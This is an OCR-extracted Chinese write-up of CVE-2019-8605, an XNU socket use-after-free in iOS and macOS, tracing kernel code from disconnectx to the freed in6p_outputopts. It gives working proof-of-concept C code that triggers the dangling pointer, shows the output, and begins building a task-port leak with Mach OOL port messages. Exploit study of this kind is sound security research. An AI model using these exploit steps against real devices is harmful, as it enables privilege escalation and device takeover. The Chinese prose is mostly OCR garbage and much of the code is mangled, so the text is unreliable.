CVE-2019-8605 FROM UAF TO TFPO

Author: wnagzihxaln
Email: wnagzihxaln@gmail.com

XEXENFHAZHE T Ned Williamsonl—NRiE

® https://bugs.chromium.org/p/project-zero/issues/detail?id=1806
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ttps://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.h

—

A%

=

// https://support.apple.com/en-us/HT210549

[\

3 Available for: iPhone 5s and later, iPad Air and later, and iPod touch

6th generation

5 Impact: A malicious application may be able to execute arbitrary code

with system privileges

7 Description: A use after free issue was addressed with improved memory

management.

CVE-2019-8605: Ned Williamson working with Google Project Zero
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int socket(int domain, int type, int protocol);

F£—"12domain: tHYHE, LEA1AF INET, AF INET6

%‘-

— S Hitype: socketZEHY, LEY0 SOCK STREAM, SOCK DGRAM, SOCK RAW
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#define SOCK_STREAM 1 /* stream socket */

#define SOCK DGRAM 2 /* datagram socket */

#define SOCK_RAW 3 /* raw-protocol interface */

#if !defined(_POSIX C SOURCE) || defined( DARWIN C SOURCE)
#define SOCK_RDM 4 /* reliably-delivered message */
#endif /* (! POSIX C _SOURCE || _DARWIN C SOURCE) */

#define SOCK_SEQPACKET 5 /* sequenced packet stream */

FE="1"2protocol: EHtHY, tLI 1PPROTO TCP, IPPROTO UDP

Bl3E— socket IR IBUT

int tcp _sock = socket(AF INET6, SOCK STREAM, IPPROTO_TCP);
if (tep_sock < 0) {
printf("[-] Can't create socket, error %d (%s)\n", errno,

strerror(errno));

return -1;



QD%EEJﬂEf’Eﬁ\JHEﬁﬁﬁ”ﬁ, REZFARE bind () FEAMIRO, ASBERE 1listen() #
TR0, SEEBIMIRNERRE accept () SEFPREILEE, ZEMAINRERIEEET

KT SocketMERIZE —MXEHENENRL, EREDUEIE

® https://beej.us/guide/bgnet/html/#socket

2. imIARE S
AP SEE disconnectx ()

X RERBEERREMIG FRBEXNEER, BRERETRIBENIRFERX T REERE
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__API AVAILABLE (macosx(10.11), ios(9.0), tvos(9.0), watchos(2.0))

int disconnectx(int, sae associd t, sae_connid t);

448 AUE NULL ALL { int disconnectx(int s, sae associd t aid,

sae_connid_t cid); }

BED &, SEBRXTARSKE, AEEBAE1MKRE disconnectx _nocancel ()

op

1  int

2 disconnectx(struct proc *p, struct disconnectx args *uap, int

*retval)
34
4 /*
5 * Due to similiarity with a POSIX interface, define as
6 * an unofficial cancellation point.
7 */
8 __pthread testcancel(l);
9 return (disconnectx nocancel(p, uap, retval)); // 1
10 }

I BE2HIREY file socket () IRENEMINTE so, s/EARUE3NERE sodisconnectx()

1 static int
2 disconnectx nocancel(struct proc *p, struct disconnectx args *uap,
int *retval)
{
#pragma unused(p, retval)
struct socket *so;
int fd = uap->s;

int error;

OW 00 4 o U1 & W

error = file socket(fd, &so); // 2


https://beej.us/guide/bgnet/html/#socket

10 if (error != 0)

11 return (error);
12 if (so == NULL) {
13 error = EBADF;
14 goto out;

15 }

16

17 error = sodisconnectx(so, uap->aid, uap->cid); // 3
18 out:

19 file drop(fd);

20 return (error);
21}

22

BIFE AR R AN socket lock() # socket unlock() AT HIFHRERSE, AEBARAMEINE

¥ sodisconnectxlocked()

1 int

2 sodisconnectx(struct socket *so, sae associd t aid, sae connid t cid)
3 {

4 int error;

5

6 socket lock(so, 1);

7 error = sodisconnectxlocked(so, aid, cid); // 4

8 socket unlock(so, 1);

9 return (error);

10  }

I E5H) *so->so_proto->pr_usrregs->pru_disconnectx s&—" R}

1| int
2 sodisconnectxlocked(struct socket *so, sae associd t aid,

sae_connid t cid)

3 {

4 int error;

5

6 /*

7 * Call the protocol disconnectx handler; let it handle all

8 * matters related to the connection state of this session.

9 */

10 error = (*so->so_proto->pr usrredqs->pru_disconnectx) (so, aid,
cid); // 5

11 if (error == 0) {

12 /*

13 * The event applies only for the session, not for

14 * the disconnection of individual subflows.



15 */

16 if (so->so_state & (SS_ISDISCONNECTING|SS ISDISCONNECTED))
17 sflt notify(so, sock evt disconnected, NULL);

18 }

19 return (error);

20 }

B SR ERIDHE TR, HEINNASEIE R tep_usr_disconnectx() , 1%
RO ="SHMEAPSEANSE, (BB TEHHIE, RMNRFESEZITSH N
Blrlgeid, sedyltizis, AAUE789REL tep usr disconnect ()

1 #define SAE ASSOCID ANY 0

2 #define SAE ASSOCID ALL ((sae_associd t)(-1ULL))

3 #define EINVAL 22 /* Invalid argument */

4

5 static int

6 tcp usr disconnectx(struct socket *so, sae associd t aid,
sae_connid t cid)

74

8 #pragma unused(cid)

9 if (aid != SAE ASSOCID ANY && aid != SAE ASSOCID ALL) // 6

10 return (EINVAL);

11

12 return (tcp_usr_disconnect(so)); /77

13}

PR % tcp usr disconnect() B N7R: COMMON START()

COMMON_END (PRU_DISCONNECT) , COMMON START() 2#l1T tp = intotcpcb(inp) ML=

T{E, RS ZiE ERRA RN, AEERAAIESHIRE tep_disconnect ()

1 static int

2 tcp usr disconnect(struct socket *so)
3 {

4 int error = 0;

5 struct inpcb *inp = sotoinpcb(so);
6 struct tcpcb *tp;

7

8 socket lock assert owned(so);

9 COMMON_START( ) ;

10 /* In case we got disconnected from the peer */
11 if (tp == NULL)

12 goto out;

13 tp = tcp disconnect(tp); // 8
14 COMMON_END (PRU_DISCONNECT) ;

15  }



BRI tcp disconnect () B—#IBT tp->t state < TCPS ESTABLISHED, tp->t state &
SocketlA7, BEIHTE D, EABNRCIET — 1M EMAETE socket , FHIKBIAAR
bind() 5EE 1isten(), FALUIRZESHA tcps crosep, BRAXEFMANIZIEBNEIRIER
iﬁtcp_close()

1 #define TCPS CLOSED 0 /* closed */

2 #define TCPS_LISTEN 1 /* listening for connection */

3 #define TCPS_SYN SENT 2 /* active, have sent syn */

4  #define TCPS_ SYN RECEIVED 3 /* have send and received syn */

5 /* states < TCPS_ESTABLISHED are those where connections not
established */

6 #define TCPS ESTABLISHED 4 /* established */

7

8 static struct tcpcb *

9 tcp_disconnect(struct tcpcb *tp)

10 {

11 struct socket *so = tp->t inpcb->inp socket;

12

13 if (so->so _rcv.sb cc != 0 || tp->t_reassqglen != 0)

14 return tcp drop(tp, 0);

15

16 if (tp->t_state < TCPS_ESTABLISHED)

17 tp = tecp close(tp); // 9

18 else if ((so->so _options & SO _LINGER) && so->so_linger == 0)

19 tp = tcp drop(tp, 0);

20 else {

21 soisdisconnecting(so);

22 sbflush(&so->so_rcv);

23 tp = tcp _usrclosed(tp);

24  #if MPTCP

25 /* A reset has been sent but socket exists, do not send FIN
*/

26 if ((so->so_flags & SOF _MP SUBFLOW) &&

27 (tp) && (tp->t mpflags & TMPF_RESET))

28 return (tp):;

29 #endif

30 if (tp)

31 (void) tcp_output(tp):;

32 }

33 return (tp):;

34 }

35
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//

https://developer.apple.com/documentation/kernel/tcp connection info

int tcp_sock = socket(AF_INET6, SOCK STREAM, IPPROTO_ TCP);
struct tcp connection info info;

int len = sizeof(info);

getsockopt (tcp sock, IPPROTO TCP, TCP_CONNECTION_ INFO, &info,

(socklen_t *)&len);

NSLog(@"%d", info.tcpi state);

B tep_close() TAERAKT, REXETHD WS EEAB, RESESNITEITHER,
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struct tcpcb *
tcp _close(struct tcpcb *tp)

{
struct inpcb *inp = tp->t_ inpcb;
struct socket *so = inp->inp socket;
#if INET6
if (SOCK_CHECK DOM(so, PF INET6))
in6_pcbdetach(inp); // 10
else

#endif /* INET6 */
in pcbdetach(inp);

/*
* Call soisdisconnected after detach because it might unlock the
socket

*/
soisdisconnected(so);
tcpstat.tcps closed++;
KERNEL DEBUG (DBG_FNC_TCP_CLOSE | DBG_FUNC_END,

tcpstat.tcps closed, 0, 0, 0, 0);

return (NULL);

BR% in6 pcbdetach () BUE 111 KEL ip6 freepcbopts () BRIZEMIRRL R inp-
>in6p_outputopts , M ETFXAIAEHF, XERHITTERBURIE, H2HEN inp-
>in6p outputopts BN NULL, ~N&UAFEYRIEER
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2

void

in6 pcbdetach(struct inpcb *inp)



struct socket *so = inp->inp socket;

if (so->so_pcb == NULL) {
/* PCB has been disposed */
panic("%s: inp=%p so=%p proto=%d so pcb is null!\n",
__func__,
inp, so, SOCK PROTO(so));
/* NOTREACHED */

}
#if IPSEC
if (inp->in6ép sp != NULL) {
(void) ipsec6_delete pcbpolicy(inp);
}

#endif /* IPSEC */

if (inp->inp stat != NULL && SOCK_PROTO(so) == IPPROTO UDP) {
if (inp->inp stat->rxpackets == 0 && inp->inp stat->txpackets

== 0) {

INC_ATOMIC INT64 LIM(net api stats.nas_socket inet6 dgram no data);
}

/*
* Let NetworkStatistics know this PCB is going away
* before we detach it.
*/
if (nstat collect &&
(SOCK_PROTO(so) == IPPROTO TCP || SOCK_PROTO(so) ==
IPPROTO UDP))
nstat pcb detach(inp);
/* mark socket state as dead */
if (in_pcb checkstate(inp, WNT STOPUSING, 1) != WNT STOPUSING) {
panic("%s: so=%p proto=%d couldn't set to STOPUSING\n",
_ _func__, so, SOCK_PROTO(so0));
/* NOTREACHED */

if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip moptions *imo;

struct ip6 moptions *im6o;

inp->inp vflag = 0;

if (inp->inép options != NULL) {



m_freem(inp->iné6p options);
inp->in6p options = NULL;
}
ip6_freepcbopts(inp->inép outputopts); // 11
ROUTE RELEASE (&inp->in6p route);
/* free IPv4 related resources in case of mapped addr
if (inp->inp options != NULL) {
(void) m free(inp->inp options);
inp->inp options = NULL;
}
im6o = inp->in6p moptions;

inp->in6p moptions = NULL;

imo = inp->inp moptions;

inp->inp moptions = NULL;

sofreelastref(so, 0);

inp->inp state = INPCB_STATE DEAD;

/* makes sure we're not called twice from so close */
so->so_flags |= SOF_ PCBCLEARING;

inpcb gc sched(inp->inp pcbinfo, INPCB TIMER FAST);

/*
* See inp join group() for why we need to unlock
*/
if (im6o != NULL || imo != NULL) {
socket unlock(so, 0);
if (im6éo != NULL)
IM60 REMREF (imé6o0) ;
if (imo != NULL)
IMO REMREF (imo) ;
socket lock(so, 0);
}

IREIXEH R BETHSocket TERKEK T !
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448 AUE NULL ALL { int disconnectx(int s, sae associd_t aid,

sae_connid_t cid); }



FRIAGREABARKIBUT, HATEREL disconnectx () Zf&, HIMIAB T —TEFEREHN

SERTE tcp_sock

int main(int argc, char * argv[]) {
int tcp_sock = socket(AF_INET6, SOCK STREAM, IPPROTO_TCP);

disconnectx(tcp sock, 0, 0);

HAEE, UARREN— D RBRETREIEN—MEH EERAEEH, BENWEER—
Wk fEHISocketlg?

SocketBEF N EMIEZE KR getsockopt () #l setsockopt () , P TREBIREEUT

105 AUE_SETSOCKOPT ALL { int setsockopt(int s, int level, int name,
caddr_t val, socklen_t valsize); }
118 AUE GETSOCKOPT ALL { int getsockopt(int s, int level, int name,

caddr_t val, socklen_ t *avalsize); }

K% setsockopt () RIEE— 1S ESocketEZE, E_TSHMBEZ MR, BRENER, $£=
PRIFENIENE, ITEMBRE_TSH level X, BENTSHEINATENIES, £4
TSHEFEATSERIAN
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#define IPV6 USE MIN MTU 42

int get minmtu(int sock, int *minmtu) {

socklen t size = sizeof(*minmtu);

return getsockopt(sock, IPPROTO IPV6, IPV6 USE MIN MTU, minmtu,
&size);

}

int main(int argc, char * argv[]) {

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

// SOPT SET

int minmtu = -1;

setsockopt (tcp sock, IPPROTO IPV6, IPV6 USE MIN MTU, &minmtu,
sizeof (minmtu));

// SOPT GET

int mtu;

get minmtu(tcp sock, &mtu);

NSLog(@"%d\n", mtu);

RAALAB N SEIHE=1"SEEIRE R IPPROTO_I1PV6 F[]l IPV6 USE_MIN MTU ?
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1 struct ip6 pktopts {

2 struct mbuf *ip6po m; /* Pointer to mbuf storing the data */

3 int ip6po hlim; /* Hoplimit for outgoing packets */

4

5 /* Outgoing IF/address information */

6 struct 1iné6 pktinfo *ip6po pktinfo;

7

8 /* Next-hop address information */

9 struct ipé6po nhinfo ip6po nhinfo;

10

11 struct ip6 hbh *ip6po hbh; /* Hop-by-Hop options header */

12

13 /* Destination options header (before a routing header) */

14 struct 1ip6 dest *ip6po destl;

15

16 /* Routing header related info. */

17 struct ipé6po rhinfo ip6po rhinfo;

18

19 /* Destination options header (after a routing header) */

20 struct 1ip6 dest *ip6po dest2;

21

22 int ip6po_ tclass; /* traffic class */

23

24 int ip6po minmtu; /* fragment vs PMTU discovery policy */

25 #define IP6PO_MINMTU MCASTONLY -1 /* default; send at min MTU for
multicast */

26 #define IP6PO_ MINMTU DISABLE 0 /* always perform pmtu disc */

27 #define IP6PO_MINMTU ALL 1 /* always send at min MTU */

28

29 /* whether temporary addresses are preferred as source address */

30 int ipé6po_prefer tempaddr;

31

32 #define IP6PO_TEMPADDR SYSTEM -1 /* follow the system default */

33 #define IP6PO_TEMPADDR NOTPREFER 0 /* not prefer temporary address */

34 #define IP6PO_TEMPADDR PREFER 1 /* prefer temporary address */

35

36 int ip6po_ flags;

37 #if O /* parameters in this block is obsolete. do not reuse the
values. */

38 #define IP6PO_REACHCONF 0x01 /* upper-layer reachability
confirmation. */

39 #define IP6PO_MINMTU 0x02 /* use minimum MTU (IPV6_ USE_MIN MTU)

*/
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#endif

#define IP6PO_DONTFRAG 0x04 /* no fragmentation
(IPV6_DONTFRAG) */

#define IP6PO USECOA 0x08 /* use care of address */
}i

TIEE set* () BZE get* (), REHWBEERERI— case FIMTHEHIERI SRR AR

JRIB$8 & 1Pv6_USE_MIN MTU, TERREN ip6_getpcbopt AU —ERFRFEEAIMIRIFIERIES, AT
DLIRIN 1PVe_USE_MIN_MTU #R{ERVEEFI{ARL 522 ip6_pktopts->ip6po_minmtu
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static int
ip6 setpktopt(int optname, u char *buf, int len, struct ip6 pktopts
*opt,

int sticky, int cmsg, int uproto)

switch (optname) {
case IPV6_USE MIN MTU:
if (len != sizeof (int))
return (EINVAL);

minmtupolicy = *(int *)(void *)buf;

if (minmtupolicy != IP6PO MINMTU MCASTONLY &&
minmtupolicy != IP6PO_MINMTU DISABLE &&
minmtupolicy != IP6PO MINMTU ALL) {
return (EINVAL);

}

opt->ip6po minmtu = minmtupolicy; /7 TRIERIE

break;

PR%N ip6 setpktopts () FPREN ip6 pcbopt () #AIFAZEI T KL ip6_setpktopt() , 1BRIER

TRZE
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BANE, FRRERAEERE ip6_pcbopt

static int
ip6 pcbopt(int optname, u char *buf, int len, struct ip6 pktopts
**pktopt,

int uproto)
struct ip6 pktopts *opt;

opt = *pktopt;
if (opt == NULL) {
opt = MALLOC(sizeof (*opt), M _IP60OPT, M WAITOK);
if (opt == NULL)
return (ENOBUFS);



ip6_ initpktopts(opt);
*pktopt = opt;

return (ip6 setpktopt(optname, buf, len, opt, 1, 0, uproto));

FERREN ip6 ctloutput() B, 3 optname JJ 1PV6 USE MIN MTU HIRI{RIEFE R
#1 ip6_pcbopt ()

int
ip6 _ctloutput(struct socket *so, struct sockopt *sopt)

{

if (level == IPPROTO IPV6) {
boolean_t capture_exthdrstat_in = FALSE;
switch (op) {
case SOPT_SET:

switch (optname) {

case IPV6_TCLASS:

case IPV6_DONTFRAG:

case IPV6_USE MIN MTU:

case IPV6_PREFER_TEMPADDR: {

optp = &in6p->in6p outputopts;
error = ip6 pcbopt(optname, (u_char *)&optval,

sizeof (optval), optp, uproto);

break;

RN rip6_ctloutput () T sopT SET #l sopT GET AU¥IHF, IPV6 USE MIN MTU S

7E default IR ER ip6 ctloutput()

int
rip6 ctloutput(
struct socket *so,

struct sockopt *sopt)

switch (sopt->sopt dir) ({
case SOPT_GET:

e o o

case SOPT_SET:



switch (sopt->sopt name) {
case IPV6_ CHECKSUM:
error = ip6 raw_ctloutput(so, sopt);

break;

case SO_FLUSH:
if ((error = sooptcopyin(sopt, &optval, sizeof (optval),
sizeof (optval))) != 0)
break;

error = inp flush(sotoinpcb(so), optval);

break;

default:
error

IPV6 _USE_MIN MTU
break;

ip6_ctloutput(so, sopt); /] EINBEN

}

break;
return (error);

K%l rip6_ctloutput () HAEEMNERBEALNZE, MEEREWRRERNTZINHTIERA

.pr_ctloutput = rip6 ctloutput,

XMOER, BEEER —>pr ctloutput, 3 level A& SoL SOCKET KRR, WARER

# rip6_ctloutput()

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)

{

if ((so->so_state & (SS_CANTRCVMORE | SS CANTSENDMORE)) ==
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so->so_flags & SOF_NPX SETOPTSHUT) == 0) {
/* the socket has been shutdown, no more sockopt's */
error = EINVAL;

goto out;



if (sopt->sopt level != SOL_SOCKET) {

if (so->so proto != NULL &&
so->so_proto->pr ctloutput != NULL) {
error = (*so->so_proto->pr_ctloutput) (so, sopt);
goto out;
}
error = ENOPROTOOPT;
} else {

EEEIRFRIIEA R setsockopt ()

int

setsockopt (struct proc *p, struct setsockopt args *uap,

__unused int32 t *retval)

struct socket *so;
struct sockopt sopt;

int error;

AUDIT ARG(fd, uap->s);
if (uap->val == 0 && uap->valsize != 0)
return (EFAULT);

/* No bounds checking on size (it's unsigned)

error = file socket(uap->s, &so);
if (error)

return (error);

sopt.sopt _dir = SOPT_SET;
sopt.sopt_level = uap->level;
sopt.sopt name = uap->name;
sopt.sopt val = uap->val;
sopt.sopt valsize = uap->valsize;

sopt.sopt_p = p;

if (so == NULL) {
error = EINVAL;
goto out;

}
#if CONFIG_MACF_SOCKET SUBSET

if ((error = mac_socket check setsockopt(kauth cred get(),

&sopt)) != 0)

goto out;

=3/

so,
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#endif /* MAC_SOCKET SUBSET */

error = sosetoptlock(so, &sopt, 1); /* will lock socket */
out:

file drop(uap->s);

return (error);

M ERNZ% 1PPROTO _IPV6 ] IPV6 USE MIN MTU HYFH3E

BicfE, IERSocketRIEEFENIRR, WRIAA T HREL disconnectx () IE?
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#define IPV6 USE MIN MTU 42
int get minmtu(int sock, int *minmtu) {

socklen t size = sizeof(*minmtu);

return getsockopt(sock, IPPROTO IPV6, IPV6 USE MIN MTU, minmtu,
&size);
}
int main(int argc, char * argv[]) {

int tcp sock = socket(AF INET6, SOCK STREAM, IPPROTO TCP);

// SOPT SET

int minmtu = -1;

setsockopt (tcp sock, IPPROTO IPV6, IPV6 USE MIN MTU, &minmtu,
sizeof (minmtu));

// FEHin6p outputopts

disconnectx(tcp _sock, 0, 0);

int ret = setsockopt(tcp sock, IPPROTO IPV6, IPV6 USE MIN MTU,
&minmtu, sizeof(minmtu));

if (ret) {

printf("[-] setsockopt() failed, error %d (%s)\n", errno,
strerror(errno));
return -1;

}

}
ST BE

[-] setsockopt() failed, error 22 (Invalid argument)

ENTERE sosetoptlock() B—THE, MR EISocketEZ KA, MEIEKW

1

#define SS_CANTRCVMORE 0x0020 /* can't receive more data from

peer */



2 #define SS CANTSENDMORE 0x0010 /* can't send more data to peer

*/

3  #define SOF_NPX SETOPTSHUT 0x00002000 /* Non POSIX extension to
allow

4

5  int

6 sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)

714

8 o0

9

10 if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==

11 (SS_CANTRCVMORE | SS_CANTSENDMORE) &&

12 (so->so _flags & SOF _NPX SETOPTSHUT) == 0) {

13 /* the socket has been shutdown, no more sockopt's */

14 error = EINVAL;

15 goto out;

16 }

17 coo

B@E—TX™MOE, Z£if so->so _state REER SS_CANTRCVMORE 5 SS_CANTSENDMORE  [B){F
E—MBEAV so->so0_flags FNHER SOF NPX_ SETOPTSHUT , FieHkZl goto out

1  (so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE) ) == (SS_CANTRCVMORE
| SS_CANTSENDMORE)
2 && (so->so_flags & SOF _NPX SETOPTSHUT) == 0

BERRITBAZE, ETHX MR, AIFEXASocketZ [F{EMKRE setsockopt

1 #define SONPX SETOPTSHUT 0x000000001 /* flag for allowing

setsockopt after shutdown */

R TR R =, RUIZTE level 5 SOL_SOCKET HJ% , % E sonpx.npx mas

HREIXTGHERTSR, RIETE level N SoOL_ HNo<EB, HHE _mask
sonpx.npx ags JJ SONPX SETOPTSHUT N :\zx4350—>so agsﬂm

0 _flags #A . i, MiS%R L A

J0 SOF_NPX SETOPTSHUT AR il

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)

{

if (sopt->sopt level != SOL SOCKET) {

} else {

switch (sopt->sopt name) {

[
O VW 00 N o U B W N -



case SO_NP_EXTENSIONS: ({

struct so np extensions sonpx;

error = sooptcopyin(sopt, &sonpx, sizeof (sonpx),
sizeof (sonpx));

if (error != 0)
goto out;

if (sonpx.npx mask & ~SONPX MASK VALID) ({
error = EINVAL;

goto out;

/*
* Only one bit defined for now
&7/
if ((sonpx.npx mask & SONPX SETOPTSHUT)) {
if ((sonpx.npx flags & SONPX SETOPTSHUT))
so->so_flags |= SOF_NPX SETOPTSHUT; /] FRDARE

else
so->so_flags &= ~SOF_NPX_ SETOPTSHUT;

break;

2 so->so_flags #F§ sOF_NPX_SETOPTSHUT iTini, BBAGBHIMERAEEMRIL, MINGT

(so->so_state & (SS_CANTRCVMORE | SS CANTSENDMORE)) == (SS_CANTRCVMORE
| SS_CANTSENDMORE)
&& (so->so_flags & SOF NPX SETOPTSHUT) == 0

- A TR

int main(int argc, char * argv[]) {

int tcp_sock = socket(AF_INET6, SOCK STREAM, IPPROTO_TCP);

int minmtu = -1;

setsockopt (tcp sock, IPPROTO IPV6, IPV6 USE MIN MTU, &minmtu,
sizeof (minmtu));

struct so np extensions sonpx = {.npx flags = SONPX SETOPTSHUT,
.npx_mask = SONPX SETOPTSHUT};

setsockopt (tcp sock, SOL_SOCKET, SO NP _EXTENSIONS, &sonpx,
sizeof (sonpx));

disconnectx(tcp sock, 0, 0);

minmtu = 1;

ret = setsockopt(tcp sock, IPPROTO IPV6, IPV6 USE MIN MTU,
&minmtu, sizeof (minmtu));

if (ret) {



11 printf("[-] setsockopt() failed, error %d (%s)\n", errno,

strerror(errno));

12 return -1;
13 }
14 int mtu;
15 get minmtu(tcp_sock, &mtu);
16 NSLog(@"%d\n", mtu);
17
18 return UIApplicationMain(argc, argv, nil, appDelegateClassName);
19 }
WEE]R%

1 2021-01-20 00:26:04.136672+0800 CVE-2019-8605-i10S[650:238743] 1

4. {tFZETask Port izt

UAFREE A A7 =250 B2 SRR iUIEi= 8], XA AT E = EEUERM
HJiZ, Z RS E— it

ZE&Ned WilliamsonBYBESRDMFAIAL R, A TRIDHIREHIHZR
BT

FHIT, KAKA

® https://bugs.chromium.org/p/project-zero/issues/attachment?aid=403533&signed_aid
=-2c09Y7SDzmQNv1CHt6|3w==
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2. Task Port
NT BRI AR Task Port LANIREX Task Port BEF{+4, XEBIFMNBXNUEITask
TasszJ\ﬁE’Jeﬁ HETEMMIETE), 4ERER, BAERHE, WNNEMEANT,

SFEHMPR 1PCc structures B9

1  struct task {

2 /* Synchronization/destruction information */

3 decl lck mtx data(,lock) /* Task's lock */

4 _Atomic uint32_t ref count; /* Number of references to me */
5 boolean t active; /* Task has not been terminated */
6 boolean t halting; /* Task is being halted */

7 /* Virtual timers */

8 uint32 t vtimers;

9

10 /* Miscellaneous */

11 vmm_map_t map; /* Address space description */

12 queue_chain t tasks; /* global list of tasks */


https://bugs.chromium.org/p/project-zero/issues/attachment?aid=403533&signed_aid=-2cO9Y7SDzmQNv1CHt6J3w==

13

14 /* Threads in this task */

15 queue head t threads;

16

17 000

18

19 /* IPC structures */

20 decl lck mtx data(,itk _lock data)

21 struct ipc port *itk self; /* not a right, doesn't hold ref */

22 struct ipc port *itk nself; /* not a right, doesn't hold ref */

23 struct ipc port *itk sself; /* a send right */

24 struct exception action exc actions[EXC_TYPES COUNT];

25 /* a send right each valid element */

26 struct ipc_port *itk host; /* a send right */

27 struct ipc port *itk bootstrap; /* a send right */

28 struct ipc port *itk seatbelt; /* a send right */

29 struct ipc port *itk gssd; /* yet another send right */

30 struct ipc_port *itk debug control; /* send right for debugmode
communications */

31 struct ipc port *itk task access; /* and another send right */

32 struct ipc port *itk resume; /* a receive right to resume this
task */

33 struct ipc_port *itk registered[TASK PORT REGISTER_MAX];

34 /* all send rights */

35

36 struct ipc_space *itk space;

37 0o

38 };

B, Task Port fESAEMPort, {£fH mach task self 8 mach task self () #{A]
DERERZEIE, FAILAFIREMIRZEIE, TEMNARBHNRE find_port_via_uaf() H—1
SR BT AARE nach_task _self () FREXHY

tEE Task Port HURIZUIT
1  self port addr = task_self addr(); // port leak primitive

XEXRE T EZEFNH



1 uint64 t task self addr() {
2 static uint64 t cached task self addr = 0;
3 /1 iR EIRENE Task Portithiilt
4 if (cached task self addr)
5 return cached_task self addr; // iR[EIEFMTask Portithilt
6 else
7 return find port via uaf(mach_task_self(),
MACH MSG_TYPE COPY SEND);
8 }

TR —MEERERISocket, AFETHEMIZNAFHFIA inp->in6p_outputopts EEHNE
i&

uint64 t find port via uaf(mach port t port, int disposition) {

int sock = get socket with dangling options();

// ERBRIENAEFHFHinp->in6p_outputoptsiEENEE

close(sock);

return 0;

OW 00 J o U1 & W N =

XEFERIRTHIEZENPort AP SHRGSRME AT —1#, BT EEE BEIZIEPortiR
R#E

ERFPE, Port2— " ERHSER

1 typedef darwin mach port t mach port t;

2  typedef  darwin mach port name t  darwin mach port t; /* Used by
mach */

3 typedef  darwin natural t  darwin mach port name t; /* Used by mach
*/

4 typedef unsigned int __darwin_natural t;
FERZE, PortB]l@— 14K ipc_port

struct ipc_port {

/*

* Initial sub-structure in common with ipc pset
* First element is an ipc_object second is a

* message queue

*/

struct ipc object ip object;

0 N4 o O LW NP



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

37

38
39

40

41

42
43

44

45

46
47

struct ipc_mqueue ip messages;

union {
struct ipc_space *receiver;
struct ipc port *destination;
ipc_port timestamp t timestamp;
} data;

union {
ipc_kobject t kobject;
ipc_importance task t imp task;
ipc_port t sync_ inheritor port;
struct knote *sync_inheritor knote;
struct turnstile *sync_inheritor ts;
} kdata;

struct ipc port *ip nsrequest;
struct ipc_port *ip pdrequest;
struct ipc port request *ip requests;
union {
struct ipc kmsg *premsg;
struct turnstile *send turnstile;
SLIST ENTRY(ipc port) dealloc_elm;
} kdata2;

mach _vm address_t ip context;

natural t ip sprequests:1l, /* send-possible requests outstanding

*/

ip spimportant:1, /* ... at least one is importance
donating */

ip impdonation:1l, /* port supports importance donation */

ip tempowner:1, /* dont give donations to current
receiver */

ip guarded:1, /* port guarded (use context value as
guard) */

ip strict guard:1, /* Strict guarding; Prevents user
manipulation of context values directly */

ip specialreply:1, /* port is a special reply port */

ip sync link state:3, /* link the special reply port to
destination port/ Workloop */

ip impcount:22; /* number of importance donations in

nested queue */

mach_port mscount_t ip mscount;

mach port rights t ip srights;



48 mach port rights t ip sorights;

49

50 #if MACH_ASSERT

51 #define IP_ NSPARES 4

52 #define IP CALLSTACK MAX 16

53 /* queue_chain t ip port links;*//* all allocated ports */

54 thread t ip_thread; /* who made me? thread context */

55 unsigned long ip timetrack; /* give an idea of "when" created
*/

56 uintptr t ip_callstack[IP_CALLSTACK MAX]; /* stack trace */

57 unsigned long ip spares[IP _NSPARES]; /* for debugging */

58 #endif /* MACH_ASSERT */

59 #if DEVELOPMENT || DEBUG

60 uint8 t ip srp lost link:1, /* special reply port turnstile
link chain broken */

61 ip srp msg_sent:1l; /* special reply port msg sent */

62 #endif

63 };

BEAEEHNANZSHE S BCE] inp->inép outputopts IE?

e

EEZ: {FHooL Message

00L Message ENXUT, Z5#J{Kmach msg ool ports descriptor t AFHE—FEHEEL
Port# B X £1%XZ > Mach Port

struct ool msg {
mach _msg header_ t hdr;
mach msg body t body;

mach msg ool ports descriptor t ool ports;

g & W N -

N ALE(ER ool Message fERNIERIER, FHATRIMUMBREEHIHEES
Mach Message#J#Z IR S5 RIEXRIAR E mach_msg () #H1T, XTRBERFSERARSIHIE LN

HANNENRE mach msg(), K mach msg() EHAKE mach msg_trap(), K&
§ﬂn@ch_msg_trap()z:ﬂaﬁﬁ"ﬁ&nmch_msg_overwrlte_trap()



mach_msg_return_t
mach msg trap(

struct mach msg overwrite trap args *args)

{
kern_return_t kr;
args->rcv_msg = (mach vm address t)0;
kr = mach msg overwrite trap(args);
return kr;

}

LR mach msg() BN SHE MACH_SEND MSG AOBHR, BRZX ipc_kmsg get() AT oicsE
MXFHMBFESE NBREIARZS

mach msg return t
mach msg overwrite trap(

struct mach msg overwrite trap args *args)

{

mach _vm address_t msg addr = args->msg;

mach msg option t option = args->option; // mach msg()%E_
TS

mach msg_return t mr = MACH MSG_SUCCESS; // AZHAF|

vm_map t map = current_map():;

/* Only accept options allowed by the user */
option &= MACH MSG_OPTION USER;

if (option & MACH_ SEND MSG) {
ipc_space t space = current space();

ipc_kmsg t kmsg; // BliEkmsgT =

/! DEEHFXHMBFEE IUERLEIRZS

mr = ipc kmsg get(msg addr, send size, &kmsg);

// RO, HEIDEEME

mr = ipc kmsg copyin(kmsg, space, map, override, &option);
/! RIFHR

mr = ipc kmsg send(kmsg, option, msg timeout);

if (option & MACH_RCV_MSG) {

return MACH_MSG_SUCCESS;



32}

S ipc_kmsg_get(), ipc kmsg t MEMMASHIEBEMENE, BITRETE, XEE

AR kmsg->ikm_header , LR SENIIHESEIE

1 mach msg return t

2  ipc_kmsg get(

3 mach_vm address_t msg_addr,

4 mach msg size t size,

5 ipc_kmsg t *kmsgp)

6 {

7 mach msg size t msg_and trailer size;
8 ipc_kmsg t kmsg;

9 mach msg_max trailer t *trailer;

10 mach msg legacy base t legacy base;

11 mach msg size t len _copied;

12 legacy base.body.msgh descriptor count = 0;

13

14 /] KESEHNE

15 oo

16

17 // mach _msg_legacy base tZ{fAKEFFTmach msg base t
18 if (size == sizeof(mach msg legacy header t)) {

19 len copied = sizeof(mach msg legacy header t);
20 } else {
